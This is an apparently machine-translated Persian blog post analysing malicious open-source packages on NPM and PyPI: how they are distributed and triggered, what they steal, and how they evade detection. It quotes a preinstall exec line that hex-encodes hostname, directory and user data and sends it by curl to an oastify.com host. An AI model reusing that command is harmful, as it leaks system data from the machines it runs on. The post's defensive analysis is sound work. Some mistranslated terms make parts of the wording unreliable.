در قسمت قبل، بستههای مخرب متنباز: مشکل، ما بحث کردیم که چرا بازیگران تهدید اینقدر ... مشتاق انتشار اجزای مخرب جدید یا تزریق بدافزار در آخرین نسخههای اجزای موجود: زیرساخت متنباز به هر کسی در هر مکانی اجازه میدهد تا یک حساب کاربری موقت ایجاد کند. در یک رجیستری کامپوننت (مانند NPM، PyPI، Docker Hub یا Visual Studio Marketplace) یا پلتفرم توسعه مشارکتی (مانند GitHub). بدون هزینه، و فرصتهای فراوان برای بهرهبرداری از اعتماد بیش از حدی که تیمهای نرمافزاری به طور سنتی به کامپوننتهای شخص ثالث دارند.
عدم تقارن بین میزان سهولت توزیع بدافزار برای مهاجمان با استفاده از زیرساختهای موجود برای متنباز، و میزان دشواری جلوگیری از آلوده شدن به بدافزار برای سازمانهای توسعهدهنده نرمافزار (و ارائه بدافزار در نرمافزاری که برای دیگران توزیع میکنند)، منجر به رسیدن تعداد بستههای مخرب به ۲۵۰ هزار در سال گذشته شد.
این مشکلی به آن بزرگی است که هیچ سازمانی به تنهایی نمیتواند آن را حل کند، و جامعه در حال تغییر چارچوب فرآیند متنباز در مورد اعتماد، اصول ایمنسازی پیشفرض و ایمنسازی طراحیشده و چرخه عمر اجزا است. در قسمت بعدی به چنین ایدههایی خواهیم پرداخت. محافظت در برابر بستههای مخرب متنباز: چه چیزهایی کار میکنند (چه چیزهایی کار نمیکنند).
به یاد داشته باشید که ما در مورد اجزای نرمافزاری صحبت میکنیم که بیشتر اوقات با ... مطابقت دارند. بسته های نرم افزاری: اجزای قابل استفاده مجدد بستهبندی شدهاند تا بتوان آنها را به عنوان یک وابستگی در مانیفست نرمافزار ارجاع داد و با یک مدیر بسته یا ابزار ساخت نصب کرد. لطفاً توجه داشته باشید که این مورد میتواند گسترش یابد تا شامل عمومی نیز بشود. تصاویر ظرف (که توسط زمانهای اجرای کانتینر و پلتفرمهای هماهنگسازی مانند Kubernetes استفاده میشود) و افزونههای ابزارهای نرمافزاری (برای ساخت، اتوماسیون و استقرار).
در اینجا چگونگی این امر را تحلیل میکنیم تاکتیک حمله مبتنی بر اجزای مخرب طبق نمونههای گذشته و آنچه در پلتفرم هشدار زودهنگام بدافزار خود دیدهایم، کار میکند (MEW). ما اجزای مخرب را در ابعاد مختلف بررسی خواهیم کرد:
(1) روش انتخاب شده برای توزیع (رجیستری مورد استفاده، در یک مؤلفه جدید یا موجود، و تکنیک مورد استفاده برای آلوده کردن نسخه مؤلفه منتشر شده)، (۲) نحوه فعال یا راهاندازی بدافزار، (۳) رفتار مخرب یعنی چه اقدامات مضری مشاهده میشود و انگیزه مهاجم چیست، (۴) چه تکنیکهایی برای مبهمسازی، پنهانسازی برای عدم شناسایی، حرکت جانبی، ارتباط با میزبانهای فرمان و کنترل (C2) و غیره رایج است؛ و (۵) تکنیکهایی برای کسب محبوبیت و اعتماد کافی تا قربانیان در نهایت مؤلفه را نصب کنند.
مکانیسم توزیع انتخاب شده
ما مشاهده میکنیم که «صدای زمینه«بستههای مخرب سادهلوح با استفاده از غلطهای تایپی، توسعهدهندگان ناآگاه را با یک غلط تایپی در نام بسته برای وابستگیهایشان فریب میدهند.» بسیاری از بستههای محبوب، با انبوهی از بستههای با نام مشابه و دارای غلطهای تایپی مواجه میشوند، با این انتظار که از برخی توسعهدهندگان ناآگاه کلاهبرداری کنند.
آنها از یک حساب کاربری موقت استفاده میکنند، گروهی از بستههای typosquat را منتشر میکنند، یکی دیگر ایجاد میکنند و گروه دیگری را منتشر میکنند... با استفاده از کمی اتوماسیون و ابتکار میتوانند به پیچیدگیهایی دست یابند، اما معمولاً بسیار پیش پا افتاده هستند. ما در داخل شرکت آنها را "anchovies«هدف اصلی سرقت اطلاعات احراز هویت است، اما گاهی اوقات شاهد جاسوسیهایی هستیم که کد منبع یا دادههای حساس مانند اطلاعات شخصی قابل شناسایی (PII)، ضبط کلیپبورد و سایر موارد مشکوک را استخراج میکنند.»
به طور ناگهانی شاهد اجزای مخرب پیچیدهتری به نام «کوسهها» هستیم. اقلیتی از آنها گروهها یا سازمانهای خاصی را هدف قرار میدهند، معمولاً با استفاده از درینرهای رمزنگاری یا اسکیمرهای وب که به صورت مشروط فعال میشوند، شاید از رویکردی که در [بخش قبلی] دیده شد، پیروی کنند. حادثه جریان رویداد رمزگشایی بار دادهی حمله تنها زمانی که بسته از یک بستهی هدف ارجاع داده شده باشد.
مکانیسم توزیع در مقاله عالی و اکنون کلاسیک، «مورد تجزیه و تحلیل قرار گرفت»مجموعه چاقوی Backstabber: مروری بر حملات زنجیره تأمین نرمافزار متنباز«که خواندنش ضروری است. مطمئناً قبلاً این نمودار زیبا را دیدهاید:
تمام راهها، از جمله بستههای جدید و موجود، تأثیرگذاری بر کد منبع، سیستم ساخت یا خود مؤلفه بستهبندی شده، استفاده از اعتبارنامههای سرقت شده یا مهندسی اجتماعی، ربودن حسابها و مخازن رها شده یا مسموم کردن حسابها و مخازن نگهداری شده، بررسی شدند. برخی از حملات نام (جعلی, سردرگمی وابستگی, سردرگمی آشکار, سرقت اطلاعات از طریق ریپوو غیره) و قبلاً در جای دیگری مورد بحث قرار گرفتهاند.
در مورد ثبت نام های انتخاب شده چطور؟
NPM همچنان در تعداد کل بستههای مخرب پیشتاز است، اما از امسال شاهد افزایش ناگهانی در PyPI بودیم. پایتون یک اکوسیستم محبوب برای علم داده و یادگیری ماشین است. در واقع، تراکم بدافزار اکنون در PyPI بیشتر از NPM است.
نحوهی فعال شدن بدافزار
بستههای مخرب تنها در ۴ مورد از هر ۱۰ مورد، در حین نصب فعال میشوند (در سالهای اخیر این رقم نزدیک به ۶ مورد از هر ۱۰ مورد بوده است). بقیه موارد، رفتارهای مخرب را در زمان اجرا اجرا میکنند و ۱ مورد از هر ۱۰۰ مورد، هنگام اجرای تستها فعال میشوند. به نظر میرسد که مهاجمان میدانند که اجرای کنترل نشده اسکریپتهای نصب در بسیاری از نقاط غیرفعال شده است.
آدم بدها چه چیزی گیرشان میآید؟
ما دستهبندیهای رفتارهای مخرب را فهرست خواهیم کرد و محبوبترینها را در ابتدا قرار میدهیم. لطفاً توجه داشته باشید که تأثیر میتواند کاملاً متفاوت باشد: برف پاکن سرسختانه مخرب است، اما رایج نیست و تنها در موارد معدودی، مربوط به کارزارهای جنگ سایبری هدفمند یا هکتیویسم وحشیانه، مشاهده شده است. دستههای زیر بسیار رایج هستند:
- InfoStealer / Credentials Drainerتاکنون، بیش از ۹۰٪ حملات ساده، رایجترین نوع سرقت اطلاعات هستند که عمدتاً به دنبال اطلاعات احراز هویت مانند رمزهای عبور، توکنهای دسترسی، کلیدهای API و کلیدهای خصوصی (برای SSH و موارد مشابه) میگردند. این نوع سرقت اطلاعات احتمالاً سادهترین نوع سرقت اطلاعات است (به همراه پاککنندهها؟). آنها فایلها/دایرکتوریهای شناخته شده و سایر منابع (مانند کلیدهای رجیستری) را شمارش میکنند، محتویات را بستهبندی میکنند و آن دادهها را به یک سرور C2 ارسال میکنند. ایده ساده است: "من یک سرقت اطلاعات احراز هویت فیشینگ منتشر میکنم تا بعداً بتوانم از این اطلاعات احراز هویت برای راهاندازی یک حمله هدایتشده استفاده کنم".
شبکههای C2 مشاهدهشده معمولاً ارزان و کثیف هستند، مانند کانالهای تلگرام یا ابزارهای تونلسازی شبیه ngrok (اغلب به شکل پروکسیهای معکوس که از طریق IPهای خروجی VPN در معرض دید قرار میگیرند). صدها (!) احتمال وجود دارد، و بسیاری از پروژههای GitHub تحت موضوع دزد رمز عبورتخصصهایی مانند کیلاگرها برای بستههای مخرب و تصاویر کانتینر نادر هستند، اما در افزونههای ابزار، جایی که تعامل کاربر انتظار میرود، رایجترند.
- قطرهچکان / دانلودکنندهدومین مورد از نظر محبوبیت، معمولاً در حملات چند مرحلهای اول اتفاق میافتد. بیش از یک سوم از اجزای مخرب دارای dropper (در صورتی که payload مخرب در بسته موجود باشد) یا downloader (در صورتی که payload از یک نقطه پایانی تحت کنترل مهاجم دانلود شود) هستند. payload اغلب یک نوع بدافزار باینری شناخته شده است و برای نصب backdoors، spyware، crypto drainers و سایر موارد استفاده، اجرا و گاهی اوقات پایدار میشود. payload دانلود شده یا مستقر شده، حمله فاز دوم را با تمام قدرت ارائه شده توسط باینریهای بدافزار موجود آغاز میکند. باینریها را میتوان در بسته توزیع کرد، که اغلب به عنوان تصاویر یا انواع فایلهای ظاهراً بیضرر پنهان میشوند تا در حین اتصال به سایتهای غیرمنتظره از شناسایی جلوگیری شود.
- سارقان/ماینرهای ارز دیجیتالدشمنانی که انگیزه مالی دارند، مایلند از داراییهای ابری شما برای اجرای استخراجکنندههای ارز دیجیتال استفاده کنند (آنها حتی تشخیص میدهند که آیا آنها در یک ماشین مجازی ابری اجرا میشوند یا خیر). آنها به این موضوع اهمیتی نمیدهند. نسبت سود پایین ۱ دلار به ازای هر ۵۳ دلاری که از قربانی بابت زیرساخت ابری سرقت شده دریافت میشود. قربانیان ممکن است تا زمانی که یک صورتحساب غیرمنتظره دریافت نکنند، از این موضوع مطلع نشوند. خوشبختانه، این اتفاق میافتد و میرود. رمزگشایی کمپینهای مخرب گاهی اوقات در بستههای مخرب ظاهر میشوند و سپس ناپدید میشوند، و کاربران کیف پول را فیشینگ میکنند یا در نهایت ارائهدهنده کیف پول را هدف قرار میدهند، مانند مورد حمله به لجر.
رفتارهای دیگر، مانند استقرار یک درپشتی برای اجرای کد از راه دور با باز کردن یک پوسته معکوس، اکنون کمتر از گذشته رایج است. به عنوان مثال، 123rf_contributor_web بسته (که اکنون از رجیستری حذف شده است) بدون هیچ گونه ابهامی، یک پوسته معکوس کپی و پیست شده از ... را باز میکند. ورق تقلب پوسته معکوس:
علاوه بر مؤلفههای مشروع و مخرب، ما چندین سوءاستفاده مشاهده کردهایم، از جمله:
بستههای اسپم
هزاران بسته کوچک، عمدتاً در NPM، بدون بدافزار اما با وعده درآمد آسان، روغن مار، لینک به پیشنهادات ویاگرا و از این قبیل وجود دارد. تعداد کمی از کاربران چنین هرزنامههایی را منتشر میکنند و پهنای باند زیادی را از رجیستری میگیرند. عامل (یا عاملان) دیگری که احتمالاً اهل اندونزی هستند، سعی کردند با ... سود ببرند. سوءاستفاده از teaRank با هدف جبران خسارت به توسعهدهندگان متنباز، با ایجاد دهها هزار بسته NPM مرتبط با مخازن ساختگی GitHub مرتبط. این نقض آشکار شرایط استفاده است.
کلاهبرداریهای جایزه در ازای اشکال و تحقیقات امنیتی
وقتی یک بسته خود را به عنوان استخراجکنندهی دادهها برای اهداف خوب، مانند شناسایی نقصهای امنیتی برای برنامههای پاداش در ازای اشکال یا تحقیق در مورد جنبههای خاصی از اکوسیستم، توصیف میکند. ما هزاران بسته در این دسته را دیدهایم که دادههای شناسایی اما نه چندان حساس را به آدرس Burp Collaborator از PortSwigger (مثلاً میزبان در دامنهی oastify.com) منتقل میکنند. ما اغلب شاهد کپیبرداریهایی از سردرگمی وابستگی اثبات مفهوم توسط الکس بیرسان، مانند وبمیل شفق قطبی-حرفهای بسته (حذف شده از رجیستری)، که به سادگی این کد مخرب را در اسکریپت پیش از نصب اجرا میکند:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") و همچنین شامل یک "این اثبات مفهوم حملهی سردرگمی وابستگی ساده است.«شرح سلب مسئولیت در pack.jsonاین یک نقض آشکار شرایط خدمات است، حتی بدون قصد و نیت بدخواهانه.
خبر خوب این است که ما (هنوز) شاهد حملات باجافزاری از طریق اجزای مخرب نبودهایم. به دلایل نامعلومی، به نظر میرسد مجرمان سایبری ترجیح میدهند از طریق ایمیلهای فیشینگ سنتی، مبتنی بر RDP و مکانیزمهای دانلود خودکار، حملات را انجام دهند.
تکنیکهای اضافی مشاهده شده
تکنیکهای زیادی برای پایداری، فرار از دفاع، جمعآوری اطلاعات، ارتباط با میزبانهای فرماندهی و کنترل و خروج اطلاعات استفاده شد.
اصرار در اجزای مخرب، با استفاده از ویژگیهای پایداری در یک بدافزار دودویی مرحله دوم به دست میآید، اما گاهی اوقات این رفتار در کد بسته قرار دارد که وظایف زمانبندی شده و تغییرات در رجیستری ویندوز رایجترین آنها هستند.
عصبانیت رایج است، اما ساده است. اکثر بستههای typosquatting (به یاد داشته باشید که "anchovies«?») اصلاً از مبهمسازی استفاده نمیکنند؛ بسیاری از آنها یا از روشهای پیشپاافتاده (رمزگذاری base64/hex یا رمزهای جایگزینی مانند rot13) استفاده میکنند یا از مبهمسازها و کوچکسازی کد موجود استفاده میکنند که با ابزار مناسب به راحتی قابل معکوس شدن است. فقط «کوسهها» مبهمسازی واقعی، اساسی و دشوار برای مهندسی معکوس را انجام میدهند.
مبهمسازی ممکن است حمله را پنهان کند، اما چرا کد یک کامپوننت متنباز باید مبهمسازی شود؟ آیا شواهدی وجود دارد که نشان دهد چیزی باید از دید ساده پنهان شود؟ ما موارد زیادی از بستههای غیرمخرب پیدا کردهایم که از مبهمسازی برای محافظت از مالکیت معنوی استفاده میکنند، که با «متنباز» در تضاد است. مبهمسازی میتواند به عنوان مدرکی از بدافزار استفاده شود، اما قطعی نیست. همچنین رفع مبهمسازی آن دشوار است.
گریز از کنترلهای دفاعی، تکنیکهای سادهای را اتخاذ میکند. کد مخرب اغلب در ... محافظت میشود. سعی کن ... بگیر بلوکهایی که هرگونه استثنا را نادیده میگیرند، بنابراین فعالیت غیرعادی در گزارشها نشان داده نمیشود. تأیید محیط (اجرا در یک ماشین مجازی یا کانتینر) به ندرت انجام میشود، مگر اینکه بدافزاری یک سازمان یا محیط خاص را هدف قرار دهد.
پنهان کردن فایلهای باینری در تصاویر و فایلهای PDF (نوعی استگانوگرافی) یکی دیگر از تکنیکهایی بود که برای جلوگیری از شناسایی مشاهده شد.
از آنجایی که رایجترین اجزای مخرب، سارقان اطلاعات هستند، جمع آوری داده ها ضروری است. اطلاعات محرمانه (رمزهای عبور، توکنهای دسترسی، کلیدهای API، کلیدهای رمزنگاری) به طور معمول در فایلهای لاگ، متغیرهای محیطی و حتی کلیپبورد (که در تروجانهای بانکی و سارقان ارز دیجیتال دیده میشود) اسکن میشوند. استخراج کد منبع نیز رایج است، زیرا نصب بسته اغلب در یک گره توسعه انجام میشود که در آن مخازن داخلی گیت ممکن است کلون شوند. ما بستههایی را دیدهایم که در جستجوی مخازن گیت، دایرکتوریها را میشمارند. جستجوی مکانهایی مانند .env، private.pem، settings.py، app.js یا application.properties کاملاً رایج است.
استخراج دادهها یکی دیگر از اقدامات گسترده است. تنها تعداد کمی از بستههای مخرب سعی میکنند مقصد دادههای استخراج شده را پنهان کنند. کانالهای تلگرام و تونلهای شبیه به نگروک اغلب استفاده میشوند. و تعداد زیادی از آنها وجود دارد معمولاً دامنههای لیست سفید که برای استخراج دادهها استفاده میشوند.
تکنیکهای دیگر، مانند افزایش امتیاز یا حرکت جانبی، کمتر رایج بودند.
کسب محبوبیت و اعتماد
تصور کنید یک کلاهبردار فناوری با یک چیز مخرب و آمادهی کشتن، از خود میپرسد: «چطور میتوانم این آشغال را برای آن احمقهای بیخبر قابل اعتماد کنم؟»
این به این معنی است که چگونه میتوان ورودی را طوری تنظیم کرد که مؤلفه مخرب ستارهها/انشعابهای زیادی (برای محبوبیت) به علاوه نسخهها/مشکلات را نشان دهد. pull requests (برای فعالیت). ایده این است که محبوبیت خیالی (ستارهها) و افراد وابسته، و ظاهری متقاعدکننده در مورد مرتبط بودن و حفظ جایگاه به دست آید.
رجیستری بررسی نمیکند که آیا محتویات یک پروژه GitHub و محتویات بسته مطابقت دارند یا خیر.این یک مسئله شناخته شده در زنجیره تأمین نرمافزار است. رجیستریهای عمومی گودالهای غولپیکری هستند که هر چیزی را که به سمتشان پرتاب میشود، میبلعند. میتوانید هر مخزنی را لینک کنید.
اگر بستهی مخرب، یک بستهی محبوب را با اشتباه تایپی جایگزین کند، کار ساده است: فقط کافی است در فایل manifest مربوط به dependencies که برای ایجاد بسته و انتشار آن در رجیستری استفاده شده است، به مخزن GitHub موجود مراجعه کنید. برای بستههای جدید روی یک مخزن GitHub جعلی، ممکن است به خلاقیت بیشتری نیاز داشته باشید، شاید ایجاد یک مخزن جعلی. رصد ستارگان/چنگالگیری حسابهای گیتهاب از طریق اسکریپتنویسی.
و اگر محتویات بسته شما به طور معقولی شبیه به مخزن است، چند تغییر خوب طراحی شده را اینجا و آنجا اعمال کنید... میتوانید بدافزار خود را به یک بسته جدید شبیه به یک بسته محبوب که به مخزن موجود ارجاع میدهد، تزریق کنید و منتظر اشتباهات تایپی باشید. اگر کسی جرات کند محتویات tarball بسته را با محتویات مخزن GitHub مقایسه کند، تفاوتها در نقاط تزریق بدافزار به راحتی قابل چشمپوشی هستند. ما قبلاً بارها این رویکرد را دیدهایم.
سازوکاری برای یک قطعه که بتواند در مورد منشأ، نحوه ساخت بسته، منابع و شخص سازنده، بیانیهای غیرقابل دستکاری ارائه دهد، مورد استقبال قرار خواهد گرفت. اما این داستان دیگری است.
آیا کامپوننت X بدافزار است؟
آیا یک پایگاه داده (جامع) از بستههای مخرب وجود دارد؟ خیر. آسیبپذیریهای متنباز دارای یک شناسه CVE هستند، اما فقط به تعداد کمی از بستههای مخرب (بهویژه آنهایی که خبرساز میشوند) این شناسه اختصاص داده شده است. CWE برای بستههای مخرب به صورت زیر است: CWE-506 (کد مخرب جاسازی شده).
ابزارهای معمول مقابله با بدافزار (VirusTotal، MalwareBazaar، SOREL-20M…) تمهیدات خاصی برای اجزای مخرب در نظر نمیگیرند. این موضوع خوشایند خواهد بود!
پایگاههای داده و مجموعه دادههای نمونه تحقیقاتی برای تجزیه و تحلیل وجود دارد (ما از تعدادی از آنها استفاده میکنیم)، اما ورودیها فقط زمانی بهروزرسانی میشوند که بسته مخرب شناخته شده باشد، که اغلب خیلی دیر است. اگر علاقهمند هستید، OpenSSF بستههای مخرب شروع خوبی است.
در پست بعدی، در مورد چگونگی تشخیص مخرب بودن یک بستهی خاص بحث خواهیم کرد. نکتهی مبهم: بله، راههایی برای بررسی اجزای مخرب در اوایل پنجرهی افشای اطلاعات، قبل از اینکه رجیستری یک جزء مخرب شناخته شده را حذف کند، وجود دارد.
مطالعه بیشتر
در قسمت بعدی «محافظت در برابر بستههای مخرب متنباز: چه چیزهایی کار میکنند (چه چیزهایی کار نمیکنند)" ما در مورد بایدها و نبایدهای امنیت متنباز بحث خواهیم کرد. اکثر متخصصان آگاه به مسائل امنیتی، در مورد چگونگی برخورد با این تهدید، شهود و بینش دارند، اما تصورات غلط فراوانی در این زمینه وجود دارد.
ما بررسی خواهیم کرد که چرا این ایدهها اشتباه هستند و چگونه چنین تصورات غلطی در محبوبیت این مکانیسم حمله و ریسک عظیمی که سازمانها با آن مواجه هستند، نقش دارند. سپس به این موضوع خواهیم پرداخت که چه چیزی مؤثر است و چه تلاش و منابعی برای آن لازم است.
همچنین، ما قصد داریم در مورد تکامل بستههای مخرب از نظر هدف، مکانیسم تزریق و تکنیکهای حمله آنها مطالبی منتشر کنیم.
گوش به زنگ باشید!
